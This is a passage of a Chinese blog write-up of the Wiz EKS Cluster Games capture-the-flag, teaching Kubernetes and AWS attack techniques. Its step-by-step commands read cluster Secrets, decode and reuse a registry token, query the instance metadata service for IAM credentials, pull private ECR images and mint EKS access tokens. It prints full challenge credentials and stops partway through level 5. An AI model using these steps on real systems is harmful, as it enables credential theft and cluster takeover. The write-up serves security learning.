【云原生渗透】- 通过WIZ EKS Cluster Games学习容器集群的攻击技巧

admin 2023年12月26日13:17:13评论13 views字数 26805阅读89分21秒阅读模式

前言第一关    查看 K8s 的 Secrets    总结第二关    K8s 容器注册表    查看 K8s Pod 信息    获取secrets中的凭据,使用 crane 登录私有注册表    总结第三关    IMDSv1 元数据    使用 aws cli 生成 crane 凭据拉取ECR中的镜像    使用 aws cli 生成 docker 凭据拉取ECR中的镜像    总结第四关    通过AWS CLI列出EKS中的集群    通过AWS CLI查看某个EKS集群的详细信息    获取访问集群所需的身份验证令牌    总结第五关    自定义audience受众请求令牌    向AWS传递身份令牌和想要扮演的IAM角色    总结最终总结参考链接

前言

云安全公司WIZ发起了一项容器集群的挑战赛“EKS Cluster Games”,通过学习此次系列题目,可以了解k8s的常见攻防技术以及容器集群的安全知识。前段时间写的WIA的云上IAM错误配置挑战赛也很有意思,了解了很多云IAM配置基础和漏洞点,感兴趣可以翻看前文。

EKS(Elastic Kubernetes Service)是亚马逊AWS提供的一项托管式Kubernetes服务。它允许用户轻松地在AWS云中部署、管理和扩展Kubernetes集群。

挑战赛模拟已经获取了低权限的AWS EKS Pod权限,基于真实的EKS错误配置问题,每个题目都运行在不同权限的k8s namespace里。

挑战赛地址:https://eksclustergames.com/

第一关

题目名:Secret Seeker

题目描述:Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?

ESK配置:

{
   "secrets": [
       "get",
       "list"
  ]
}

题目描述提示我们列出查看所有的 k8s secrets来查看敏感信息。

查看 K8s 的 Secrets

Secrets是Kubernetes中用于存储敏感数据的一种资源对象,它可以用于存储密码、API密钥、证书等敏感信息,这些信息在应用程序中需要使用。

当前集群拥有对secrets的list/get权限(列出资源信息,查看资源内容),在题目提供的终端使用kubectl命令查看所有secrets:

root@wiz-eks-challenge:~# kubectl get secrets
NAME         TYPE     DATA   AGE
log-rotate   Opaque   1     47d

看到存在一个secrets,查看其具体内容(输出为yaml的配置格式)

root@wiz-eks-challenge:~# kubectl get secrets log-rotate -o yaml
apiVersion: v1
data:
flag: d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ==
kind: Secret
metadata:
creationTimestamp: "2023-11-01T13:02:08Z"
name: log-rotate
namespace: challenge1
resourceVersion: "890951"
uid: 03f6372c-b728-4c5b-ad28-70d5af8d387c
type: Opaque

secrets中的敏感信息通过base64编码保存,解码得到第一关的flag。

总结

k8s secrets里的敏感信息只是base64编码保存,相关权限限制不当时,攻击者很容易获取敏感信息。

第二关

题目名:Registry Hunt

题目描述:

A thing we learned during our research: always check the container registries.
For your convenience, the crane utility is already pre-installed on the machine.

EKS配置:

{
   "secrets": [
       "get"
  ],
   "pods": [
       "list",
       "get"
  ]
}

题目要我们关注容器的注册表。

K8s 容器注册表

Kubernetes容器注册表(Container Registry)是用于存储和管理Docker镜像的集中化存储库。它允许开发人员构建、保存和传输容器镜像,以供在Kubernetes集群中部署和运行。

我们常用的容器注册表就比如Docker Hub、Harbor等,还有如Google Container Registry、Amazon Elastic Container Registry(ECR)。

结合题目描述让我们关注容器的注册表,也就是让我们关注某个容器镜像是由哪个注册表提供的。

EKS配置中,对secrets拥有get权限,但没有list权限,所以kubectl get secrets会提示没有权限:

root@wiz-eks-challenge:~# kubectl get secrets 
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:challenge2:service-account-challenge2" cannot list resource "secrets" in API group "" in the namespace "challenge2"

只有在知道具体的secrets名,才能查看其详细信息。

查看 K8s Pod 信息

EKS配置中具有对pods的list和get权限,查看有哪些pod:

root@wiz-eks-challenge:~# kubectl get pods
NAME                   READY   STATUS   RESTARTS     AGE
database-pod-2c9b3a4e   1/1     Running   1 (11d ago)   47d

查看该pod的详细信息

比较长,截取部分

root@wiz-eks-challenge:~# kubectl get pods database-pod-2c9b3a4e -o yaml
apiVersion: v1
kind: Pod
metadata:
annotations:
  kubernetes.io/psp: eks.privileged
  pulumi.com/autonamed: "true"
creationTimestamp: "2023-11-01T13:32:05Z"
name: database-pod-2c9b3a4e
namespace: challenge2
resourceVersion: "12166896"
uid: 57fe7d43-5eb3-4554-98da-47340d94b4a6
spec:
containers:
- image: eksclustergames/base_ext_image
  imagePullPolicy: Always
  name: my-container
  resources: {}
  terminationMessagePath: /dev/termination-log
  terminationMessagePolicy: File
  volumeMounts:
imagePullSecrets:
- name: registry-pull-secrets-780bab1d

status:
containerStatuses:
- containerID: containerd://8010fe76a2bcad0d49b7d810efd7afdecdf00815a9f5197b651b26ddc5de1eb0
  image: docker.io/eksclustergames/base_ext_image:latest
  imageID: docker.io/eksclustergames/base_ext_image@sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623
  lastState:

spec.containers.image可以看到pod使用的image,status.containerStatuses.image可以看到更详细的image信息,其中 docker.io 是默认的Docker Hub注册表地址,表示该镜像位于Docker Hub上。

但在docker hub上直接搜索并不能找到这个镜像,其可能是私有注册表,需要鉴权后才能下载到这个image。

root@wiz-eks-challenge:~# crane pull eksclustergames/base_ext_image 12.tar
Error: GET https://index.docker.io/v2/eksclustergames/base_ext_image/manifests/latest: UNAUTHORIZED: authentication required; [map[Action:pull Class: Name:eksclustergames/base_ext_image Type:repository]]

spec.imagePullSecrets,指定Pod中使用的镜像拉取凭证的配置。这个字段允许你将镜像拉取凭证(比如Docker令牌)与Pod关联起来,以便在拉取私有镜像时进行身份验证。

查看这个secrets的内容:

root@wiz-eks-challenge:~# kubectl get secrets registry-pull-secrets-780bab1d -o yaml
apiVersion: v1
data:
.dockerconfigjson: eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19
kind: Secret
metadata:
annotations:
  pulumi.com/autonamed: "true"
creationTimestamp: "2023-11-01T13:31:29Z"
name: registry-pull-secrets-780bab1d
namespace: challenge2
resourceVersion: "897340"
uid: 1348531e-57ff-42df-b074-d9ecd566e18b
type: kubernetes.io/dockerconfigjson

获取secrets中的凭据,使用 crane 登录私有注册表

字段data.dockerconfigjson,这就是镜像拉取凭据,使用base64编码保存:

eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19

解码得到容器注册表地址:
{"auths": {"index.docker.io/v1/": {"auth": "ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw=="}}}

解码auth得到账号密码:
eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo

登录认证:

root@wiz-eks-challenge:~# crane auth login -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo index.docker.io 
2023/12/20 03:19:26 logged in via /home/user/.docker/config.json

现在就可以直接拉取保存私有镜像了:

crane pull eksclustergames/base_ext_image 123.tar

逐层解压查看镜像层的内容:

root@wiz-eks-challenge:~# tar -xvf 123.tar 
sha256:add093cd268deb7817aee1887b620628211a04e8733d22ab5c910f3b6cc91867
3f4d90098f5b5a6f6a76e9d217da85aa39b2081e30fa1f7d287138d6e7bf0ad7.tar.gz
193bf7018861e9ee50a4dc330ec5305abeade134d33d27a78ece55bf4c779e06.tar.gz
manifest.json

root@wiz-eks-challenge:~# tar -zxvf 193bf7018861e9ee50a4dc330ec5305abeade134d33d27a78ece55bf4c779e06.tar.gz
etc/
flag.txt
proc/
proc/.wh..wh..opq
sys/
sys/.wh..wh..opq

在其中一个镜像层看到flag

root@wiz-eks-challenge:~# cat flag.txt
wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}

到这里已经下载到私有注册表的容器镜像里的所有源码等信息。

总结

在真实EKS环境中,k8s节点为了保证pod正常运行,需要从远端私有容器注册表拉取私有容器镜像。这个过程就需要用到相关凭据进行认证,这个凭据就可能存储在secrets中,攻击者可以查看相关的secret内容,获取访问私有容器注册表的凭据,从而下载到各种业务镜像及源码,还会造成供应链攻击。

第三关

题目名:Image Inquisition

题目描述:

A pod's image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret.
Remember: You are running inside a compromised EKS pod.

EKS配置:

{
  "pods": [
      "list",
      "get"
  ]
}

题目提醒我们注意容器镜像的各个构建层,构建层中应该存在某些信息,同时对于这一关,攻击者是拥有一个EKS pod权限。

既然要查看镜像的构建层信息,就需要有权限访问到容器注册表及下载image进行查看。

查看pod信息:

root@wiz-eks-challenge:~# kubectl get pods
NAME                     READY   STATUS   RESTARTS     AGE
accounting-pod-876647f8   1/1     Running   1 (13d ago)   49d
root@wiz-eks-challenge:~# kubectl get pods accounting-pod-876647f8 -o yaml
apiVersion: v1
kind: Pod
metadata:
annotations:
  kubernetes.io/psp: eks.privileged
  pulumi.com/autonamed: "true"
creationTimestamp: "2023-11-01T13:32:10Z"
name: accounting-pod-876647f8
namespace: challenge3
resourceVersion: "12166911"
uid: dd2256ae-26ca-4b94-a4bf-4ac1768a54e2
spec:
containers:
- image: 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
  imagePullPolicy: IfNotPresent

能看到这个pod运行使用的image,这个image是保存在 AWS ECR 上的,自然我们没有权限下载这个镜像

root@wiz-eks-challenge:~# crane pull 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c 123.tar
Error: GET https://688655246681.dkr.ecr.us-west-1.amazonaws.com/v2/central_repo-aaf4a7c/manifests/latest: unexpected status code 401 Unauthorized: Not Authorized

那相关凭据保存在哪里呢,题目提醒我们是运行在EKS的一个pod里面,即一个AWS云环境,就可以使用常规拿下云主机后的渗透方法,查找其中的敏感信息,比如元数据等。

IMDSv1 元数据

IMDS全称 Instance Metadata Service,v1 就是Amazon EC2实例元数据服务的第一个版本。通过请求AWS的元数据接口,能获取到运行示例的相关数据信息。

root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
reservation-id
security-groups
services/
system

可以看到有很重要的iam接口,那就能获取到容器实例的角色的临时凭据:

root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole
{"AccessKeyId":"ASIA2AVYNEVMVLHYWUGA","Expiration":"2023-12-21 04:37:35+00:00","SecretAccessKey":"teh0kEaWzy07QMDUEYsODLm2tkXusdyv4azdYlPX","SessionToken":"FwoGZXIvYXdzEJX//////////wEaDNDi5lRnwrA+SjNAFCK3AaMHzZKDpEqR7JRqiiULwy1RcnI4QnCqE2W2lWmp7f1FOqm5bvJHdQn446pZT1lxqDet951lFQ/Ajf/4SlFMDRJg8E91ucu3YVxfrpwY58T+V8Xc1tp4FUeBpJcrHMyT/tvgRxmiNM6ytCV/9zd8JdkAgTcSOfJI6UOA5wO7VyTdvn8kLKWGmGeSKbG80/S1Iv1DyI5APlyaKOqe4cB4zCo94L03dSXlwSx2qhUif4T7wfwS7OkjSSj/5Y6sBjItOLO56IaNWrgAUUaOUvO+4AkAgeQCWcxTp3c9PhjwlqBG/T6tjujze1QnPrkk"}

有了这个临时凭据,就能使用aws工具请求相关有权限的相关云服务,甚至在权限配置不当或权限较高时,还能直接接管AWS控制台。

挑战赛是跟AWS EKS服务相关,这道题目用的是AWS ECR的镜像注册表服务。这两者都是AWS提供的云服务,自然在有权限下,能通过aws工具请求相关接口操作这些云服务。

使用aws ecr describe-repositories命令查看AWS ECR中存在哪些镜像

root@wiz-eks-challenge:~# aws ecr describe-repositories
{
  "repositories": [
      {
          "repositoryArn": "arn:aws:ecr:us-west-1:688655246681:repository/testos",
          "registryId": "688655246681",
          "repositoryName": "testos",
          "repositoryUri": "688655246681.dkr.ecr.us-west-1.amazonaws.com/testos",
          "createdAt": "2023-10-29T17:52:00+00:00",
          "imageTagMutability": "MUTABLE",
          "imageScanningConfiguration": {
              "scanOnPush": false
          },
          "encryptionConfiguration": {
              "encryptionType": "AES256"
          }
      },
      {
          "repositoryArn": "arn:aws:ecr:us-west-1:688655246681:repository/central_repo-aaf4a7c",
          "registryId": "688655246681",
          "repositoryName": "central_repo-aaf4a7c",
          "repositoryUri": "688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c",
          "createdAt": "2023-11-01T13:31:27+00:00",
          "imageTagMutability": "MUTABLE",
          "imageScanningConfiguration": {
              "scanOnPush": false
          },
          "encryptionConfiguration": {
              "encryptionType": "AES256"
          }
      }
  ]
}
root@wiz-eks-challenge:~# aws ecr describe-images --repository-name central_repo-aaf4a7c
{
  "imageDetails": [
      {
          "registryId": "688655246681",
          "repositoryName": "central_repo-aaf4a7c",
          "imageDigest": "sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01",
          "imageTags": [
              "374f28d8-container"
          ],
          "imageSizeInBytes": 2221349,
          "imagePushedAt": "2023-11-01T13:32:09+00:00",
          "imageManifestMediaType": "application/vnd.docker.distribution.manifest.v2+json",
          "artifactMediaType": "application/vnd.docker.container.image.v1+json",
          "lastRecordedPullTime": "2023-12-20T19:06:49.870000+00:00"
      }
  ]
}

目标image就是 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c:374f28d8-container

接下来的工作就是尝试利用aws工具操作ECR服务将镜像拉取到本地并查看。

使用 aws cli 生成 crane 凭据拉取ECR中的镜像

首先将元数据中获取的 aws sts 临时凭据导入aws cli工具

export AWS_ACCESS_KEY_ID=ASIA2AVYNEVMQTOUNSFN
export AWS_SECRET_ACCESS_KEY=KXZQdH0412FWFleyxyz6MG2iUzQaQE2f8Lri1weG
export AWS_SESSION_TOKEN=FwoGZXIvYXdzEJj//////////wEaDO8ibbGwupTprCLgOiK3AW36B3YaFN77uDBTue4vvTgboW+dsGZsTH46wul6PCwxCXccN683ROXEEUnHjle7mxa1nMsKP/f2QYudBbIxKfy4VWUuiyQpQwmhYUN0T15xSunXo6V/Sy/izTc2/CFaH953kgI2SZoMifzQxRaWRLDMakSMTvq4qpUBGge3lKpfpMHSaITPUdUFKMVe47yXjzqhLQm+PoVposS/Iz9i3VgCfBlpzkzGEs51gwcWYAXnKhhlf6awcCiksI+sBjItiqZKDZHVdyP1aITiirWzA9WRFKmnTEXTNzYWDztAUJzhHza6R1bpCXHB/NlM

使用aws ecr get-login-password命令获取 ECR 的登录密码,这个登录密码可以作为crane、docker客户端的凭据,语法如下:

用户名已经固定是 AWS
crane auth login -u AWS -p <password> <account-id>.dkr.ecr.<region>.amazonaws.com
docker login -u AWS -p <password> <account-id>.dkr.ecr.<region>.amazonaws.com

一步到位

--password-stdin 参数表示从标准输入接收密码

root@wiz-eks-challenge:~# aws ecr get-login-password | crane auth login -u AWS --password-stdin 688655246681.dkr.ecr.us-west-1.amazonaws.com
2023/12/21 06:33:47 logged in via /home/user/.docker/config.json

结合题目描述要我们检查镜像构建层,使用crane config命令查看各镜像层的信息:

root@wiz-eks-challenge:~# crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c:374f28d8-container
{"architecture":"amd64","config":{"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"],"Cmd":["/bin/sleep","3133337"],"ArgsEscaped":true,"OnBuild":null},"created":"2023-11-01T13:32:07.782534085Z","history":[{"created":"2023-07-18T23:19:33.538571854Z","created_by":"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "},{"created":"2023-07-18T23:19:33.655005962Z","created_by":"/bin/sh -c #(nop) CMD ["sh"]","empty_layer":true},{"created":"2023-11-01T13:32:07.782534085Z","created_by":"RUN sh -c #[email protected] ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit","comment":"buildkit.dockerfile.v0"},{"created":"2023-11-01T13:32:07.782534085Z","created_by":"CMD ["/bin/sleep" "3133337"]","comment":"buildkit.dockerfile.v0","empty_layer":true}],"os":"linux","rootfs":{"type":"layers","diff_ids":["sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f","sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5"]}}

history字段可以看到各个构建层提交的信息,类似于git commit时的信息,其中就存在敏感信息。

使用docker可以更方便查看image的历史构建信息。

使用 aws cli 生成 docker 凭据拉取ECR中的镜像

同样先生成docker客户端可以登录的临时密码:

aws ecr get-login-password | docker login -u AWS --password-stdin 688655246681.dkr.ecr.us-west-1.amazonaws.com

然后把镜像pull下来

docker pull 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c:374f28d8-container

使用docker history命令可以查看构建镜像的每一层的详细信息,包括每一层的创建者,每一层的创建时间,以及创建每一层所执行的命令:

--no-trunc显示每一列的完整信息

[root@VM-0-8-centos ~]# docker history 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c:374f28d8-container --no-trunc
IMAGE                                                                     CREATED       CREATED BY                                                                                                                                                                                                                                                                                             SIZE     COMMENT
sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3   7 weeks ago   CMD ["/bin/sleep" "3133337"]                                                                                                                                                                                                                                                                           0B       buildkit.dockerfile.v0
<missing>                                                                 7 weeks ago   RUN sh -c #[email protected] ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit   0B       buildkit.dockerfile.v0
<missing>                                                                 5 months ago   /bin/sh -c #(nop) CMD ["sh"]                                                                                                                                                                                                                                                                         0B
<missing>                                                                 5 months ago   /bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in /                                                                                                                                                                                                       4.26MB

总结

本关是通过AWS元数据获取云服务实例临时凭据,达到操作AWS提供的ECR容器注册表,从而下载其中的私有image。

Docker镜像采用分层的方式进行构建,在镜像构建的过程中会带入包含一些敏感信息,存在敏感信息泄露的风险。

第四关

题目名:Pod Break

题目描述:

You're inside a vulnerable pod on an EKS cluster. Your pod's service-account has no permissions. Can you navigate your way to access the EKS Node's privileged service-account?

EKS配置没有任何权限。

本关我们控制的pod的服务账户权限为空,无法列出pod、secret等资源。

总得弄一个凭据来操作k8s相关的服务,那可以延续上一关的思路,尝试通过元数据拿到节点IAM角色的临时凭据(或者在这个pod上搜索找到凭据相关的文件):

root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data/iam/security-credentials/
eks-challenge-cluster-nodegroup-NodeInstanceRole
root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole
{"AccessKeyId":"ASIA2AVYNEVM37GGT3J7","Expiration":"2023-12-22 04:24:21+00:00","SecretAccessKey":"Ip6Vh6gcc3XbNoiXp2mlGcuIGJOxJuq50jRPP4YF","SessionToken":"FwoGZXIvYXdzEK3//////////wEaDMF1TxeIjpUWa6x9MiK3AWieS7+x7+tSdWiyzt3/95Lmdi15SsrLvucvqQCP2+aQt4aX7axTn7EGQ072JxUsz4d6V/WFW4nUBIv3CbxU3SIQCP/nZCmlDF82697ILFmqx2iKQ94l+LGXtE1q9w6/Z1+GSxUyOz321db0ncc3mLJbbL+oJ+Y7dceEdqTviP6lMtlKcZ91HSnmhvwuWzpAae1u6pqcY/JnOS4O6qEwTH7SnQt+LSH/6qrXVk32U/xRW28YpwD7bCjlgpSsBjIttccaPZqMEq8NoJ9IcBFmHfkdc3jCPUfNqmJO+y1JUjV9Q286kH/htUmK/woj"}

注意这个与实例关联的节点的IAM角色的名称是eks-challenge-cluster-nodegroup-NodeInstanceRole

在上一关中,我们使用有权限的aws cli工具操作ECR服务,从而下载到私有镜像,本关相关联的服务就是题目涉及到的EKS服务,那么我们可以尝试这个临时权限对EKS相关接口进行相关利用。

在官方文档中查看EKS相关的接口信息

【云原生渗透】- 通过WIZ EKS Cluster Games学习容器集群的攻击技巧

这里有aws cli工具关于 EKS服务相关的操作命令。

【云原生渗透】- 通过WIZ EKS Cluster Games学习容器集群的攻击技巧

https://docs.aws.amazon.com/zh_cn/cli/latest/reference/eks/index.html

命令比较多,在aws cli配置完临时凭据后,可以挑选相关命令进行尝试

通过AWS CLI列出EKS中的集群

列出k8s集群:list-clusters

root@wiz-eks-challenge:~# aws eks list-clusters

An error occurred (AccessDeniedException) when calling the ListClusters operation: User: arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282 is not authorized to perform: eks:ListClusters on resource: arn:aws:eks:us-west-1:688655246681:cluster/*

当前节点的IAM角色没有列出集群的权限。

通过AWS CLI查看某个EKS集群的详细信息

跟集群相关的接口还有:describe-cluster

查看集群详细信息,但是需要先知道集群的名字,这里得结合题目得提示:

Can't determine the cluster's name?
The convention for the IAM role of a node follows the pattern: [cluster-name]-nodegroup-NodeInstanceRole.

节点IAM扮演的角色名有这个命名规则:[集群名称]-nodegroup-NodeInstanceRole

当前节点扮演的角色名在上面查看元数据、以及权限报错提示中都能看到:eks-challenge-cluster-nodegroup-NodeInstanceRole

那么可以得知集群名称为eks-challenge-cluster

还是没有权限

root@wiz-eks-challenge:~# aws eks describe-cluster --name eks-challenge-cluster

An error occurred (AccessDeniedException) when calling the DescribeCluster operation: User: arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282 is not authorized to perform: eks:DescribeCluster on resource: arn:aws:eks:us-west-1:688655246681:cluster/eks-challenge-cluster

获取访问集群所需的身份验证令牌

aws eks get-token 用于获取访问EKS集群所需的身份验证令牌。

EKS使用Kubernetes RBAC(Role-Based Access Control)来管理对集群的访问权限。为了与集群进行交互,需要提供有效的身份验证令牌。aws eks get-token命令会连接到指定的EKS集群,并提供这样一个身份验证令牌。

root@wiz-eks-challenge:~# aws eks get-token --cluster-name eks-challenge-cluster
{
  "kind": "ExecCredential",
  "apiVersion": "client.authentication.k8s.io/v1beta1",
  "spec": {},
  "status": {
      "expirationTimestamp": "2023-12-23T08:48:46Z",
      "token": "k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk01QTM2N0FYMiUyRjIwMjMxMjIzJTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyMzEyMjNUMDgzNDQ2WiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFTXIlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkZ3RWFETHV3NXc0WFJoNEY0azFYRnlLM0FmZlN6UmhJemoxZWRNaFBJQVNiRDI1T1ZnYXN4ZDVDY1pFSzZZU29VZjlwTnZMNW5RQ3FoRTQ3cWhncUhRJTJCTzdVTFpXcDFIUUJyV0x0b3F1dnFHS1Fyb2M1VXA3Q0ZPYXNhcHI0MFo5d0RzUkZWQWphSzBGRVdGTWU1bFJ6bW9kTlRtZFZQT1ZSNGVYMDZnRkJ5aDZEZDRPQjFsJTJCVTFkdUxBaUcyZWNMSlpaeThGYmVTSUsxRXJUWWR1VUlGcndOQ2phUHVxT3VyNEZMJTJGTFd4JTJCTTI0NWN1cmhMVVM1bHFnZHhuN0I5dCUyQmVmNHVkanhscGttYUNqWHRwcXNCakl0QjY1RXlvWXdqWHJiQWhqWVd6V29JOCUyQk9LZmxxeEo2b0NUV081Q1FjeXFSQWI5NzdPTW40WUh3RzkxRE0mWC1BbXotU2lnbmF0dXJlPWNkOTYzMGY0ODQwOTcxM2ZlZjlkZjkxMjE3OWI0ZjI1ZWFjZTFhNjg4NWI1MGFiMzU3MGNiMWQ2ODlhNDVjYjc"
  }
}

这个token就可以给kubectl使用,从而管理对应的集群,使用这个token查看secrets:

root@wiz-eks-challenge:~# kubectl get secrets --token "上面得到的token" node-flag -o yaml
apiVersion: v1
data:
flag: d2l6X2Vrc19jaGFsbGVuZ2V7b25seV9hX3JlYWxfcHJvX2Nhbl9uYXZpZ2F0ZV9JTURTX3RvX0VLU19jb25ncmF0c30=
kind: Secret
metadata:
creationTimestamp: "2023-11-01T12:27:57Z"
name: node-flag
namespace: challenge4
resourceVersion: "883574"
uid: 26461a29-ec72-40e1-adc7-99128ce664f7
type: Opaque

secrets中含有敏感信息。

总结

k8s对集群的访问是通过 kube-apiserver 进行的,这需要进行身份验证和授权,并且有多种认证方式。

而在AWS EKS服务(就是一种k8s服务)中,其有特殊的验证方式,这种方式允许外部服务(这个外部服务就是STS临时凭据)进行身份验证并返回令牌相关的信息。

使用aws eks get-token命令就可以获取这个令牌。AWS CLI会调用STS的GetCallerIdentity操作并获取一个带有签名的文档,这个文档包含了 AWS 身份信息。当后面使用kubectl工具使用这个令牌与EKS集群通信时,集群会先将收到的这个令牌给STS进行验证,STS 会返回与这个令牌关联的用户信息,这样 EKS 集群就可以知道是谁在进行操作,并对其进行相应的授权。

令牌是一个以k8s-aws-v1开头、后续为base64编码的字符串。

第五关

题目名:Container Secrets Infrastructure

题目描述:

You've successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of the s3access-sa service account, and get the flag?

策略有三个:

IAM Policy

{
   "Policy": {
       "Statement": [
          {
               "Action": [
                   "s3:GetObject",
                   "s3:ListBucket"
              ],
               "Effect": "Allow",
               "Resource": [
                   "arn:aws:s3:::challenge-flag-bucket-3ff1ae2",
                   "arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"
              ]
          }
      ],
       "Version": "2012-10-17"
  }
}

Trust Policy

{
   "Version": "2012-10-17",
   "Statement": [
      {
           "Effect": "Allow",
           "Principal": {
               "Federated": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589"
          },
           "Action": "sts:AssumeRoleWithWebIdentity",
           "Condition": {
               "StringEquals": {
                   "oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud": "sts.amazonaws.com"
              }
          }
      }
  ]
}

EKS权限

{
   "secrets": [
       "get",
       "list"
  ],
   "serviceaccounts": [
       "get",
       "list"
  ],
   "pods": [
       "get",
       "list"
  ],
   "serviceaccounts/token": [
       "create"
  ]
}

IAM策略允许对s3进行读取操作,EKS策略对相关资源具有列出/读取操作。

重点看Trust Policy

该策略中主体Principal是Federated,代表一个身份提供者(Identity Provider),它指定了一个OIDC(OpenID Connect)供者的ARN(arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589)。

OIDC是一种用于身份验证和授权的开放标准。在Kubernetes集群中,使用OIDC进行身份验证,以便将AWS IAM 中的用户或服务账号与Kubernetes集群中的角色进行映射

当使用OIDC提供者进行身份验证时,该策略允许使用AssumeRoleWithWebIdentity操作来扮演与OIDC提供者关联的角色,并且还有一个条件,身份提供者的audience为sts.amazonaws.com,这里只有这一个条件,并没有验证主体subj相关的。

前置知识大概了解这么多,直接看解题思路。

通过策略能知道对k8s集群有一定操作权限,通过一下命令也能看到操作权限:

kubectl auth can-i --list

secrets、pods都没有东西,有三个服务账号:

root@wiz-eks-challenge:~# kubectl get sa     
NAME         SECRETS   AGE
debug-sa     0         55d
default       0         55d
s3access-sa   0         55d

挨个查看服务账号的详细信息:

root@wiz-eks-challenge:~# kubectl get sa debug-sa -o yaml
apiVersion: v1
kind: ServiceAccount
metadata:
annotations:
  description: This is a dummy service account with empty policy attached
  eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeTestRole-fc9d18e
creationTimestamp: "2023-10-31T20:07:37Z"
name: debug-sa
namespace: challenge5
resourceVersion: "671929"
uid: 6cb6024a-c4da-47a9-9050-59c8c7079904
root@wiz-eks-challenge:~# kubectl get sa default -o yaml
apiVersion: v1
kind: ServiceAccount
metadata:
creationTimestamp: "2023-10-31T20:07:11Z"
name: default
namespace: challenge5
resourceVersion: "671804"
uid: 77bd3db6-3642-40d5-b8c1-14fa1b0cba8c
root@wiz-eks-challenge:~# kubectl get sa s3access-sa -o yaml
apiVersion: v1
kind: ServiceAccount
metadata:
annotations:
